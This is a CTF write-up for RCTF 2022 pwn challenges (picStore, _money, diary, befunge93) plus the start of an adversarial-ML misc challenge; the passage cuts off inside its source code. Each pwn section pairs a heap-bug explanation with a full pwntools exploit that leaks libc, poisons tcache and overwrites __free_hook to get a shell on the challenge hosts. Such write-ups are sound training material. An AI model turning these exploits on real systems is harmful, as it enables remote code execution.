# RCTF 2022 Writeups part 2 ## Pwn ### picStore pwn This challenge has a heap note-like menu that lets us upload images in BMP format and download them. The contents of an uploaded image are stored in a bit vector. The upload function has incorrect bounds checking and lets us overwrite the least significant bit of the byte following the end of the bit buffer. We can use this to clear the PREV_INUSE flag of a chunk on the heap to create overlapping chunks. When that chunk is freed the allocator will attempt to consolidate it with the previous chunk. However for that to work we need to forge a valid linked list entry otherwise we will trip a security check in the allocator. We can't directly forge valid pointers because we don't have a heap leak. [This guide](https://github.com/shellphish/how2heap/blob/master/glibc_2.31/poison_null_byte.c) explains how to do this attack without leaks by using fd_nextsize and bk_nextsize. We can implement this attack but we have to make some changes because overwriting PREV_INUSE requires us to have an additional chunk before the victim. This gives us two overlapping chunks. The exploit needs a 4 bit brute to ensure that the 4th least significant nibble of the heap base is 0. Once we have overlapping chunks, we can get a libc and heap leak quite easily, by having one of the overlapping chunks inside unsorted bin and downloading the other one. Then, we put some overlapping chunks into tcache and overwrite the forward pointer, allowing us to write to freehook. ```py from construct import * from pwn import * BINARY = './picStore' LIBC = './libc.so.6' LD = './ld-2.31.so' # Host and port where the challenge is running HOST = '190.92.238.134' PORT = 6679 # HOST = "localhost" # PORT = 8888 # When launched with "remote" in the command line arguments, the script will # connect with the remote target. Otherwise it will spawn an instance of the # target locally and interact with that. REMOTE = args.REMOTE e = ELF(BINARY) context.binary = e if LIBC and os.path.exists(LIBC): libc = ELF(LIBC) elif e.libc: libc = e.libc if LD and os.path.exists(LD): ld = ELF(LD) else: ld = None # Add/uncomment your favorite terminal emulator here. context.terminal must # be set in order to launch GDB. context.terminal = ['tmux', 'split', '-h'] file_header = Struct( 'magic'/ Const(b"BM"), 'file_size' / Int32ul, 'reserved1' / Int16ul, 'reserved2' / Const(0, Int16ul), 'data_start' / Const(54, Int32ul), ) bitmap_header = Struct( 'header_size' / Const(0x28, Int32ul), 'width' / Int32ul, 'height' / Const(1, Int32ul), 'num_planes' / Const(1, Int16ul), 'bpp' / Const(1, Int16ul), 'compression' / Const(0, Int32ul), 'image_size' / Const(0, Int32ul), 'horizontal_resolution' / Const(0, Int32ul), 'vertical_resolution' / Const(0, Int32ul), 'num_colors' / Const(0, Int32ul), 'num_important_colors' / Const(0, Int32ul), ) bmp_file = Struct( 'file_header' / file_header, 'bitmap_header' / bitmap_header, 'data' / Bytes(this.file_header.file_size - 54) ) def to_bits(data): return bytes([ (x >> i) & 1 for x in data for i in range(8) ]) def make_bmp_bits(data, alloc_size, bits): assert alloc_size <= 0xfff8 assert alloc_size & 0xfff8 == alloc_size transformed_data = to_bits(data) if len(transformed_data) % 3 != 0: transformed_data += b'\x00' * (3 - (len(transformed_data) % 3)) assert len(transformed_data) % 3 == 0 assert len(data) > 0 assert len(transformed_data) <= 0x1200 num_chunks = math.ceil(alloc_size * 8 / 0x1200) # Zero sized header for the allocation output = bmp_file.build(dict( file_header=dict( file_size=54, reserved1=alloc_size * 8, ), bitmap_header=dict( width=0, ), data = b'', )) # One header for the data output += bmp_file.build(dict( file_header=dict( file_size=54 + len(transformed_data), reserved1=bits, ), bitmap_header=dict( width=len(transformed_data) // 3, ), data = transformed_data, )) # More to make stuff happy if num_chunks > 1: output += bmp_file.build(dict( file_header=dict( file_size=54, reserved1=0, ), bitmap_header=dict( width=0, ), data=b'', )) * (num_chunks - 1) return output def make_bmp(data, alloc_size, exception=False): assert alloc_size <= 0xfff8 assert alloc_size & 0xfff8 == alloc_size transformed_data = to_bits(data) if not exception: if len(transformed_data) % 3 != 0: transformed_data += b'\x00' * (3 - (len(transformed_data) % 3)) if not exception: assert len(transformed_data) % 3 == 0 if len(data) == 0: return bmp_file.build(dict( file_header=dict( file_size=54, reserved1=alloc_size * 8, ), bitmap_header=dict( width=0, ), data = b'', )) * math.ceil((alloc_size * 8) / 0x1200) num_chunks = math.ceil(alloc_size * 8 / 0x1200) data_chunks = group(0x1200, transformed_data) # print(f'{len(data_chunks)} data chunks, num_chunks = {num_chunks}') output = b'' for i, chunk in enumerate(data_chunks): if not exception: assert len(chunk) % 3 == 0 output += bmp_file.build(dict( file_header=dict( file_size=54 + len(chunk), reserved1=alloc_size * 8 if i == 0 else 0xffff, ), bitmap_header=dict( width=(len(chunk) // 3) + (len(chunk) % 3), ), data=chunk, )) if len(data_chunks) < num_chunks: output += bmp_file.build(dict( file_header=dict( file_size=54, reserved1=0, ), bitmap_header=dict( width=0, ), data=b'', )) * (num_chunks - len(data_chunks)) return output # Use dbg() to spawn an instance of GDB and attach it to the target. Very useful # to debug exploits. All addresses in BREAKPOINTS will be breakpointed. When the # binary is PIE, the base address of the binary will be added to the breakpoint # address. This is consistent with how IDA/Binja display addresses so that you # can copy-paste. # You can also have strings here to break at a symbol (e.g. 'malloc') # dbg() is obviously disabled when talking to a remote target. BREAKPOINTS = [ # 0xa879, # read_one # 0xa74d, # malloc # 0xa8c1, # null check # 'malloc.c:4331', # 0xb145, # free, # "malloc.c:4328" ] def do_one(): global slots, tcache_drain, e offset = 0x0 if args.OFF: offset = int(args.OFF, 0) if REMOTE: r = remote(HOST, PORT) else: r = context.binary.process() def dbg(): if REMOTE: return pie_base = r.libs()[os.path.realpath(r.executable)] if e.aslr else 0 breaks = [ 'b *{}'.format(hex(b + pie_base)) if isinstance(b, int) else 'b {}'.format(b) for b in BREAKPOINTS ] command = '\n'.join(breaks + [ 'directory ~/glibc-2.31/malloc', "directory /usr/src/glibc/glibc-2.31/malloc", "set $na = (char* (*)[30])&note_array", """ define na print (*$na)[$arg0] end """ ]) gdb.attach(r, gdbscript=command) BANNER = b"-------------------Pictrue Store System-------------------" # if args.GDB: # dbg() def do_menu(choice): r.sendlineafter(b'choice>> ', str(choice).encode()) def upload(data): do_menu(1) r.sendafter(b'img data: ', data) def download(idx): do_menu(2) r.sendlineafter(b"link: ", str(idx).encode()) r.recvuntil(b"img data: ") conts = r.recvuntil(BANNER, drop=True) return conts def do_list(): do_menu(4) slots = [0] * 30 def find_index(): global slots for i in range(len(slots)): if slots[i] == 0: slots[i] = 1 return i def delete(index): global slots do_menu(3) r.sendlineafter(b'link: ', str(index).encode()) slots[index] = 0 def malloc_overwrite_bits(data, size, bits): upload(make_bmp_bits(data, size, bits)) return find_index() def malloc(data, size, exception=False): upload(make_bmp(data, size, exception=exception)) return find_index() def malloc_zeroed(size): return malloc(b'\x00' * size, size) def malloc_whatever(size): return malloc(b'\x00', size) tcache_drain = [] def fill_tcache(): global tcache_drain tcache_drain = [ malloc_whatever(0x288) for _ in range(7) ] def drain_tcache(): global tcache_drain for i in tcache_drain: delete(i) log.info("Draining unsorted!") unsorted = malloc_zeroed(0x17f0-8) if args.REMOTE: malloc_zeroed(0x7f0-8) fill_tcache() # align TARGET_ALIGN = 0xb000 - 0x690 - 0x2000 + offset# + 0x4000 - 0x7000 if args.REMOTE: TARGET_ALIGN += 0x810 align_size = 0x1200 num_align = TARGET_ALIGN // align_size leftover = TARGET_ALIGN - (num_align * align_size) - 8 if leftover < align_size: leftover += align_size num_align -= 1 for i in range(num_align): malloc_zeroed((align_size) - 8) log.info("leftovers: 0x%x", leftover) # need + 0x10 to make the rest work :) malloc_zeroed(leftover+0x10) # malloc_zeroed(0x1128) log.info("Initial malloc'd") # pause() # for _ in range(16 - slide): # malloc_zeroed(0xff8) # 2: prev x010 prev = malloc_zeroed(0x508) print(f'prev = {prev}') log.info("alloc'd prev") # pause() # guard malloc_zeroed(0x18) # malloc_zeroed(0x18) # malloc_zeroed(0x18) log.info("IDK what the fuck this is?") # pause() # overwrite and victim overwrite = malloc(flat({0x240: p64(0x770)}, length=0x248), 0x248) victim = malloc_zeroed(0x288) # guard malloc_zeroed(0x18) log.info("Overwrite and victim alloc'd") log.info("over = %d", overwrite) log.info("victim = %d", victim) # pause() a = malloc_zeroed(0x4f0) malloc_zeroed(0x18) b = malloc_zeroed(0x510) malloc_zeroed(0x18) log.info("alloc'd a & b") log.info("a = %d", a) log.info("b = %d", b) # pause() # free a, b, prev in the unsorted bin drain_tcache() log.info("Tcache drained") # pause() delete(a) delete(b) delete(prev) log.info("a, b, prev should be in unsorted now") # pause() # then into the large bin malloc_zeroed(0x1000) log.info("Should be in large bin now") # pause() # get back prev prev = malloc(b'A' * 8 + p64(0x771), 0x508) print(f'prev2 = {prev}') log.info("Got back new prev") # pause() # dbg() # get back b b = malloc(b'\x10' + p8(0), 0x510, True) print(f'b = {b}') # pause() # a = malloc_zeroed(0x4f0) print(f'a = {a}') log.info("Got back a, b as well") # pause() delete(a) delete(victim) log.info("Deleted a, victim!") # pause() a = malloc(b'AAAAAAAA\x10' + p8(0), 0x4f0, True) print(f'a = {a}') log.info("A new day a new a") # pause() fill_tcache() log.info("Tcache filled") # pause() victim = malloc_zeroed(0x288) print(f'victim = {victim}') log.info("got victim again!") # pause() delete(overwrite) log.info("Deleted overwrite") # pause() overwrite = malloc(flat({0x240: p64(0x770)}, length=0x248), 0x248) print(f'overwrite = {overwrite}') log.info("got new overwrite") # pause() # log.info("Creating new chunk for unsorted bin :)") # new_unsorted = malloc_zeroed(0x560) # # guard # malloc_zeroed(0x18) drain_tcache() log.info("Drained tcache") context.log_level = "debug" log.info("About to free victim!") if args.GDB: dbg() # pause() delete(victim) def meme_decode(conts): # strip header data = conts[54:] curr_bit = 0 curr_byte = 0 ret = b"" for i in range(len(data)): bit_val = data[i] & 1 curr_byte |= (bit_val << curr_bit) curr_bit += 1 if curr_bit == 8: ret += bytes([curr_byte]) curr_bit = 0 curr_byte = 0 return ret def read_idx(idx): conts = download(idx) return meme_decode(conts) # pause() # log.info("Reallocing unsorted one") REALLOC_SIZE = 0x480 try: # fake_chunk_off = 0x510 # fake_chunk = flat({ # 0: 0, # 8: 0x21, # }) # overlap_payload = flat({ # fake_chunk_off-0x20: fake_chunk # }) # pause() log.info("Reallocing from overlapping chunk now!") # overlapped = malloc(overlap_payload, REALLOC_SIZE) overlapped = malloc_zeroed(REALLOC_SIZE) # pause() # log.info("overlapped = %d", overlapped) # guard malloc_zeroed(0x18) # pause() log.info("Deleting and reallocating prev, so that we may overwrite it's size!") delete(prev) prev = malloc(flat({ 8: REALLOC_SIZE + 0x11, }, length=0x50)+b"\0", 0x508) except Exception as e: # print(e) # r.interactive() r.stream() r.close() return False finally: context.log_level = "info" # pause() log.info("Deleting overlap") delete(overlapped) log.info("Moving to largebin!") malloc_zeroed(0x1000) log.info("Show now be able to leak!") leaked = read_idx(prev) # print(hexdump(leaked)) libc_addr = u64(leaked[0x10:0x18]) heap_addr = u64(leaked[0x20:0x28]) log.info("libc_addr = 0x%x", libc_addr) log.info("heap_addr = 0x%x", heap_addr) heap_base = heap_addr - 0x1b010 log.success("heap @ 0x%x", heap_base) libc.address = libc_base = libc_addr - 0x1ecff0 log.success("libc @ 0x%x", libc_base) log.info("Now we want to get some overlapped tcache chunks!") TC_SIZE = 0x70 tcache1 = malloc_zeroed(TC_SIZE) # guard malloc_zeroed(0x18) tcache2 = malloc_zeroed(TC_SIZE) # guard malloc_zeroed(0x18) delete(tcache2) delete(tcache1) freehook_addr = libc.symbols["__free_hook"] # target system_addr = libc.symbols["system"] # value delete(prev) prev = malloc(flat({ 8: TC_SIZE + 0x11, 16: freehook_addr }, length=0x50) + b"\0", 0x508) # pause() log.info("we can now overwrite freehook!") malloc_zeroed(TC_SIZE) # discard freehook = malloc(p64(system_addr), TC_SIZE) log.info("Freehook overwritten, now getting you a shell!") # pause() shell = malloc(b"/bin/sh\0", 0x18) delete(shell) # leaked = download(prev) # print(hexdump(meme_decode(leaked))) # write("./leaked.bmp", leaked) # from PIL import Image # import numpy as np # img = Image.open("./leaked.bmp") # pixels = np.array(img) # print(pixels) # # guard # malloc_zeroed(0x18) # delete(new_unsorted) r.interactive() if args.BRUTE: for i in range(100): print("="*80) print(f" ATTEMPT {i}") print("="*80) print() do_one() else: do_one() ``` ### \_money The target binary lets us create and manage bank accounts and take and repay loans. Bank accounts are dynamically allocated on the heap and loans are stored in a fixed-size array that is preallocated at startup. The bug is that even though there is only enough space for 10 loans in the array, we can create 11 loans. This overflows the array and makes the 11th loan overlap the chunk immediately after the array which is a bank account. We can overwrite the first few bytes of an account and we use this to increase the chunk size to 0x460 so that when that account is freed it ends up in the unsorted bin instead of the tcache. Now when allocating new accounts the allocator will take some memory from the beginning of this unsorted chunk. This means that we can have newly allocated accounts that overlap with old accounts. We now also have libc pointers on the heap which we can leak by printing the loans with the VIP function. We first create two accounts that use the same memory, then free one into tcache and then overwrite the forward pointer by changing the password of the second account. This gives us arbitrary write by using tcache poisoning. We use the arbitrary write to overwrite `__free_hook` with `system`. We then free a chunk whose password is `/bin/sh` for a shell. ```py from pwn import * # Path to the target binary BINARY = './ez_money_patched' LIBC = './libc.so.6' LD = './ld-2.31.so' # Host and port where the challenge is running HOST = '139.9.242.36' PORT = 5200 # When launched with "remote" in the command line arguments, the script will # connect with the remote target. Otherwise it will spawn an instance of the # target locally and interact with that. REMOTE = args.REMOTE e = ELF(BINARY) context.binary = e if LIBC and os.path.exists(LIBC): libc = ELF(LIBC) elif e.libc: libc = e.libc if LD and os.path.exists(LD): ld = ELF(LD) else: ld = None # Add/uncomment your favorite terminal emulator here. context.terminal must # be set in order to launch GDB. context.terminal = ['tmux', 'split-window', '-h', '-l', '150'] # Use dbg() to spawn an instance of GDB and attach it to the target. Very useful # to debug exploits. All addresses in BREAKPOINTS will be breakpointed. When the # binary is PIE, the base address of the binary will be added to the breakpoint # address. This is consistent with how IDA/Binja display addresses so that you # can copy-paste. # You can also have strings here to break at a symbol (e.g. 'malloc') # dbg() is obviously disabled when talking to a remote target. BREAKPOINTS = [ ] def dbg(): if REMOTE: return pie_base = r.libs()[os.path.realpath(r.executable)] if e.aslr else 0 breaks = [ 'b *{}'.format(hex(b + pie_base)) if isinstance(b, int) else 'b {}'.format(b) for b in BREAKPOINTS ] command = '\n'.join(breaks) gdb.attach(r, gdbscript=command) if REMOTE: r = remote(HOST, PORT) else: r = e.process() def do_menu(choice): r.sendlineafter(b'your choice : ', choice) def borrow(amount, remarks): do_menu(b'Loan_money') r.sendlineafter(b'Please enter the loan amount (no more than 1 million).', str(amount).encode()) r.sendlineafter(b'Please leave your comments.', remarks) def new_account(account_id, password, balance): assert len(account_id) <= 32 assert len(password) <= 8 do_menu(b'new_account') r.sendlineafter(b'please input the account id', account_id) r.sendlineafter(b'please input the password', password) r.sendlineafter(b'please input the money', str(balance).encode()) def make_id(i): return f'{i}'.ljust(32).encode() def logout(): do_menu(b'Exit_account') def login(account_id, password): do_menu(b'login') r.sendlineafter(b'please input the account id', account_id) r.sendlineafter(b'please input the password', password) def delete_account(password): do_menu(b'Cancellation') r.sendlineafter(b'please enter the password', password) def repay(amount): do_menu(b'Repayment') r.sendlineafter(b'How much do you want to repay?', str(amount).encode()) def vip(): do_menu(b'I\'m vip!') r.recvuntil(b'I can show you the usury record we lent this month. Just a glance.') ret = [] for _ in range(11): ret.append(r.recvuntil(b'++++++++++++++++++++++++++++++++++++++++++')) return ret def change_details(new_password, password): do_menu('Update_info') r.sendlineafter(b'please entet a new password', new_password) r.sendlineafter(b'please input your password.', password) password = b'A' * 8 new_account(make_id(0), password, 0x7fffffff) logout() for i in range(1, 11): new_account(make_id(i), password, 0x7fffffff) borrow(0x1337, b'B' * 32) logout() new_account(make_id(12), password, 0x7fffffff) logout() overflow_id = flat({ 0: p64(0x13371338), # Size of the next chunk 8: p64(0x461), # 8: p64(0x51), 16: password, 24: make_id(0)[:8] }, length=32) new_account(overflow_id, password, 0x7fffffff) # Out of bounds oob_remarks = flat({ 0: make_id(0)[8:], }, length=32) borrow(0x1337, oob_remarks) logout() new_account(make_id(13), password, 0x7fffffff) logout() new_account(make_id(14), password, 0x7fffffff) logout() login(make_id(0), password) delete_account(password) login(make_id(12), password) leak = vip()[-1] libc_leak = u64(leak[0x2c:0x2c+8]) libc_base = libc_leak - 0x1ecbe0 libc.address = libc_base success(f'Libc leak: {hex(libc_leak)}') success(f'Libc base: {hex(libc_base)}') logout() # Alloc something from the unsorted bin # new_account(make_id(15), password, 0x7fffffff) new_account(make_id(16), password, 0x7fffffff) logout() new_account(make_id(17), password, 0x7fffffff) logout() # This chunk gets freed in the middle of the unsorted bin # login(p64(libc_leak) + b'\x00' * 16 + b' ' * 8, p64(libc_leak)) # repay(0x1337) # delete_account(password) # context.log_level = 'debug' login(make_id(16), password) delete_account(password) login(make_id(17), password) leak = vip()[-1] heap_leak = u64(leak[0x2c:0x2c+8]) heap_base = heap_leak - 0x10 print(f'Heap base: {hex(heap_base)}') delete_account(password) login(p64(heap_base + 0x10) + b' ' * 24, p64(heap_base + 0x580)) change_details(p64(libc.symbols['__free_hook'] - 8) + p64(heap_base + 0x10) + b'\x00' * (40 - 16), p64(heap_base + 0x580)) logout() new_account(make_id(16), password, 0x7fffffff) logout() new_account(p64(libc.symbols['system']) + b'\x00' * 24, b'/bin/sh\x00', 0x7fffffff) delete_account(b'/bin/sh\x00') r.interactive() ``` ### diary We're not exactly sure why but for some reason the vector erase was bugged and deleting one element would give you UAF on the very last element of the diary vector. However throught the `update` function you could only overwrite starting from byte 4 of the chunk (while we wanted to overwrite the full forward pointer). To overwrite the first 4 bytes, we abuse the `encrypt` function to dump all 512 bytes of randomness and then selectively overwriting the correct values. After we could control the forward pointer, we could not directly overwrite free_hook and be done with it, since the binary always called `memset` on the whole 300 bytes of the chunk which would have reset many parts of the libc bss to 0. So we decided to overwrite the last part of the diary vector to be able to craft our own vector entries (in particular, one that points to __free_hook). After that it's standard free hook overwriting and then abusing one of the string frees by writing a command such as: `/bin/sh#/bin/sh#/bin/sh#` final script: ``` from pwn import * gdbscript = """ #set auto-load-libs false define porco tele 0x000055555557d090 end # set debuginfod enabled on #b * (0x555555554000 + 0x3341) #b * (0x555555554000 + 0x36f7) #b * (0x555555554000 + 0x4286) continue 13 """ # r = gdb.debug("./diary_patched", gdbscript=gdbscript) # r = process("./diary_patched") elf = ELF("./diary") libc = ELF("./libc.so.6") r = remote("119.13.105.35", 10111) def show_better(idx): r.recvuntil("test cmd:") r.sendline(f"show#{idx}") res = r.recvuntil(b"input") return res ctr = 1 def add(cont): global ctr r.sendlineafter(b"cmd:", f"add#{2022-ctr}#1#1#1#1#1#".encode()+cont) ctr += 1 def rem(idx): r.sendlineafter(b"cmd:", f"delete#{idx}".encode()) def show(idx): r.sendlineafter(b"cmd:", f"show#{idx}".encode()) r.recvline() # ignore newline after cmd r.recvline() # ignore date return r.recvuntil(b"input your")[:-11].strip() def enc(idx,off,num): r.sendlineafter(b"cmd:", f"encrypt#{idx}#{off}#{num}".encode()) def dec(idx): r.sendlineafter(b"cmd:", f"decrypt#{idx}".encode()) def upd(idx,content): r.sendlineafter(b"cmd:", f"update#{idx}#".encode()+content) for i in range(8): add(b"1"*0x2f0) for i in range(8): rem(0) myindex = 2 for i in range(myindex): add(b"a"*0x2f0) add(b"1"*0x2f0) add(b"2"*0x2f0) rem(myindex) add(b"3"*0x2f0) rem(myindex) leak = u64(show_better(myindex)[17:22].rjust(7, b'\x00').ljust(8, b'\x00')) >> 8 heap_base = leak - 0x29ff000 + 0x29eaa00 - 0x900 info("heap leak: " + hex(heap_base)) upd(myindex, b'a'*0x20) upd(myindex, b'a'*0x2f0) randchars = [0 for i in range(0x200)] for i in range(0x200): enc(0, 0x2ef+4-i,1) c = show(0)[0x2ef-i:] randchars[i] = (c[0] if len(c) else 0) ^ 0x61 def set_first_four_bytes(idx, tmp_use, cur, tgt): for i in range(len(tgt)): print("before", show(idx)) toskip = randchars.index(tgt[i] ^ cur[i]) enc(tmp_use, 4, toskip) dec(tmp_use) enc(idx, (len(tgt)-1) - i, 1) enc(tmp_use, 4, 0x1ff-toskip) print("after", show(idx)) dec(tmp_use) vector_heap_off = 0x12090 elem_size = 24 victim_index = 20 content_off = 16 vector_start = p64(heap_base + vector_heap_off + elem_size*victim_index + content_off - 4) set_first_four_bytes(myindex, 1, b" aaaa"[::-1], (vector_start)[::-1] ) add(b'cccccccc') add(b'd'*0x20) for i in range(20): add(b'e'*0x20) pie_leak = p64(heap_base + 0x11ee8) upd(myindex + 2, pie_leak) context.log_level = 'debug' pie_leak = u64(show_better(victim_index)[17:22].rjust(7, b'\x00').ljust(8, b'\x00')) >> 8 pie_leak -= 0x16300 info(hex(pie_leak)) puts_off = elf.got['puts'] puts_addr = pie_leak + puts_off info(hex(puts_addr)) upd(myindex + 2, p64(puts_addr)) libc_leak = u64(show_better(victim_index)[17:22].rjust(7, b'\x00').ljust(8, b'\x00')) >> 8 libc_leak -= libc.symbols['puts'] - 0x20 info(hex(libc_leak)) hook_addr = libc_leak + libc.symbols['__free_hook'] info(hex(hook_addr)) upd(myindex + 2, p64(hook_addr - 4)) upd(victim_index, p64(libc_leak + libc.symbols['system'])) r.interactive() ``` ### befunge93 TL;DR: - befunge interpreter - can load custom befunge code - trivial bug: - put/get (to read from grid) fail to check for negative positions - Allows you to go backwards on heap OOB - writing exploit in befunge sounded painful - solution: write simple befunge program, that acts as a relay between pwntools and interpreter - 3 commands: - 0: read, asks for x,y then prints out value read - 1: write, asks for val,x,y then writes to there - 2: push, asks for value, then pushes it on the stack - program: ```b93 >>>&:1`v ^ ! ^ v_$&>>v ^ >v v ^ vp&&&_&&g,v ^<<<<<<<<<<<< ``` - now exploitation is somewhat straight forward - only problem, how to actually allocate? - by growing stack! - We can manipulate tcache, by directly writing into the `tcache_perthread_struct` (at the start of the heap) - first leak heap by reading OOB - then cause stack to grow to `<0x40` bytes. - Then cause tcache `0x90` to be allocated at the beginning of the heap (by setting its count to 1 and pointing the next pointer somewhere unused, there was a large unused chunk at the beginning) - We need to do this, since we want to free this into unsorted for libc leak - However, the chunk needs to be before the one where we have OOB, otherwise we wont be able to read it - Grow stack to `<0x80` bytes - will use our fake chunk we setup before - we also need to have two additional fake chunks after this, so that the fake chunk can be freed correctly (see exploit script for details) - Cause tcache `0x110` to be full (set count to 7) - this will cause the previous fake chunk to be sent to unsorted instead of tcache - Grow stack to `<0x100` bytes - will free the previous chunk and put it into unsorted - Leak libc pointers by reading from the freed chunk - Since we control the tcache, it now becomes easy: - overwrite `0x210` next pointer to be at freehook - grow to `<0x200` to cause malloc to return freehook as the chunk for the stack - push system on the stack to overwrite freehook with system - cause one final free by growing the stack more (and making sure first few bytes of stack are `/bin/sh\0`) - get shell - **Note:** Actually we make malloc return at an offset before freehook, since we cannot push the system address to the early parts of the stack - Exploit script: ```py #!/usr/bin/env python3 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template --host 94.74.89.68 --port 10101 ./befunge93 from pwn import * # Set up pwntools for the correct architecture exe = context.binary = ELF('./befunge93') libc = ELF('./libc-2.31.so') context.terminal = ["tmux", "split", "-h"] # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 host = args.HOST or '94.74.89.68' port = int(args.PORT or 10101) def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) # if args.GDB: # gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' directory /usr/src/glibc/glibc-2.31/malloc/ continue '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Full RELRO # Stack: Canary found # NX: NX enabled # PIE: PIE enabled io = start() code = read("./pwn.b93") lines = code.splitlines(keepends=True) width = 0 for line in lines: if len(line) > width: width = len(line) height = len(lines) width, height = height, width log.info("Have code %d x %d", width, height) total = width * height log.info("len code = %d, total = %d", len(code), total) code = code.ljust(total, b"\0") io.sendlineafter(b"input x:", str(width).encode()) io.sendlineafter(b"input y:", str(height).encode()) io.sendlineafter(b"input your code length:", str(total).encode()) io.sendafter(b"input your code:", code) to_recv = b"\n".join(lines) io.recvuntil(to_recv) log.info("Befunge inited, can now pwn!") def send_int(num): numd = str(num).encode() numd = numd.rjust(0xf, b" ") io.send(numd) def do_read(x, y, wait=True): send_int(0) send_int(x) send_int(y) if wait: car = io.recvn(1) return car return None def rel_read(start, len): ret = b"" for i in range(len): do_read(0, -1 - start - i, False) time.sleep(0.01) ret = io.recvn(len) return bytes(reversed(ret)) def do_write(x, y, val): send_int(1) send_int(val) send_int(x) send_int(y) def do_push(val): send_int(2) send_int(val) def read_multi(start, len): ret = b"" for i in range(len): do_read(0, start + i, False) time.sleep(0.01) ret = io.recvn(len) return ret def write_multi(conts, start): total = len(conts) idx = 0 for i in range(start, start + total): do_write(0, i, conts[idx]) idx += 1 log.info("First, dump the heap before me!") def round_size(num): num += 8 leftover = 0x10 - (num % 0x10) return num + leftover def read64(off): val = read_multi(off, 8) return u64(val) board_size = round_size(total) - 0x10 board_off = 0x100 # dump = rel_read(0, board_off) # heap_idx = board_off - (board_size+8) heap_addr = read64(-board_size-8) # heap_addr = u64(dump[heap_idx:heap_idx+8]) log.info("heap_addr = 0x%x", heap_addr) # of our own chunk! page_offset = heap_addr & 0xfff heap_base = heap_addr - page_offset with log.progress("Finding heap start...") as p: for i in range(0xf, 0x40): sz = read64(-page_offset - i*0x1000 + 8) if sz == 0x290 or sz == 0x291: heap_base = heap_addr - page_offset - i*0x1000 break p.status("Current page 0x%x / 0x40", i) log.success("heap @ 0x%x", heap_base) def get_off(addr): if addr < heap_addr: return heap_addr - addr return None log.info("dumping heap!") idx = 1 curr = heap_base + 0x290 while curr < heap_addr: off = get_off(curr) sz = read64(-off+8) & 0xfffffffffffffff0 log.info("%d: 0x%x (0x%x)", idx, curr, sz) if sz <= 0: log.warning("wat??") pause() curr += sz idx += 1 # lg_sz = read64(-(heap_addr - (heap_base + 0x8 + 0x290))) # log.info("lg_sz = 0x%x", lg_sz) # heap_base = heap_addr - 0x12320 # log.success("heap @ 0x%x", heap_base) log.info("Change max width, height") # dims = p32(0x7fffffff)*2 # write_multi(dims, -board_size) tcache_addr = heap_base + 0x10 tcache_offset = heap_addr - tcache_addr def tcache_idx(size): return (size - 0x20) // 0x10 def set_tcache_cnt(size, cnt): idx = tcache_idx(size) cnt_off = -tcache_offset + idx*2 write_multi(p16(cnt), cnt_off) def set_tcache_entry(size, ptr): idx = tcache_idx(size) ptr_off = -tcache_offset + 0x80 + idx*8 write_multi(p64(ptr), ptr_off) # pause() def push_conts(conts): for i in range(0, len(conts), 4): val = u32(conts[i:i+4]) do_push(val) time.sleep(0.02) def push_num(num): conts = cyclic(num) push_conts(conts) ok_heap_addr = heap_base + 0x1000 ok_heap_off = heap_addr - ok_heap_addr TARGET_SIZE = 0x90 fake_chunk = flat({ 0:0, 8: TARGET_SIZE | 1, 16: 0, 24: 0 }) next_fake = flat({ 0:0, 8: TARGET_SIZE | 1, 16: 0, 24: 0, }) third_fake = flat({ 0:0, 8: TARGET_SIZE | 1, 16: 0, 24: 0 }) next_addr = ok_heap_addr + TARGET_SIZE next_off = heap_addr - next_addr third_addr = next_addr + TARGET_SIZE third_off = heap_addr - third_addr write_multi(fake_chunk, -ok_heap_off) write_multi(next_fake, -next_off) write_multi(third_fake, -third_off) log.info("Faking tcache entry!") set_tcache_cnt(TARGET_SIZE, 1) set_tcache_entry(TARGET_SIZE, ok_heap_addr+0x10) log.info("In perparation for the future :)") shell_cmd = b"/bin/sh\0\0\0\0\0" push_conts(shell_cmd) # pause() push_num(0x70-len(shell_cmd)) # pause() log.info("Fake filling tcache!") set_tcache_cnt(0x90, 7) set_tcache_cnt(0x100, 7) push_num(0x10) log.info("Leaking libc!") leaked = read_multi(-ok_heap_off+0x10, 0x8) # print(hexdump(leaked)) libc_addr = u64(leaked) log.info("libc_addr = 0x%x", libc_addr) libc.address = libc_base = libc_addr - 0x1ecbe0 log.success("libc @ 0x%x", libc_base) log.info("Now overwriting __freehook") freehook_addr = libc.symbols["__free_hook"] system_addr = libc.symbols["system"] FINAL_SIZE = 0x210 set_tcache_cnt(FINAL_SIZE, 1) set_tcache_entry(FINAL_SIZE, freehook_addr-0x130) if args.GDB: pid = int(subprocess.check_output("pgrep befunge93", shell=True).strip()) gdb.attach(pid, gdbscript=gdbscript) pause() push_num(0x80) pause() LAST_SIZE = 0x410 fourth_addr = third_addr + TARGET_SIZE + 0x10 fourth_off = heap_addr - fourth_addr set_tcache_cnt(LAST_SIZE, 1) set_tcache_entry(LAST_SIZE, fourth_addr) push_conts(p64(system_addr)*0x20) push_num(0x80) io.interactive() ``` ## Misc ### catspy This challenge started as a blackbox adversarial machine learning challenge. Given an image of a cat, we are allowed to change one pixel in the picture, so that the model does not recognize that there is a cat in the image anymore. The website only outputted the current prediction and the probability of that prediction. ![https://i.imgur.com/IomkVlZ.png](https://i.imgur.com/IomkVlZ.png) However, after just a few minutes the challenge was taken offline again, because the server couldn't stand the load. No one could have expected a blackbox optimization challenge to cause a lot of load. After a random time, the challenge was released again, which is unfortunate in combination with the first blood bonus. This time source code was given. ```python def checkImg(Img): im = Image.open('static/start.png').convert('RGB') Img = Img.convert('RGB') if Img.size != (60, 60): return 0 count = 0 for i in range(60): for j in range(60): if im.getpixel((i,j)) != Img.getpixel((i,j)): count += 1 if count == 1: return 1 else: return 0 def divide(img): # Step 1: Initialize model with the best available weights weights = ResNet50_Weights.DEFAULT model = resnet50(weights=weights) model.eval() # Step 2: Initialize the 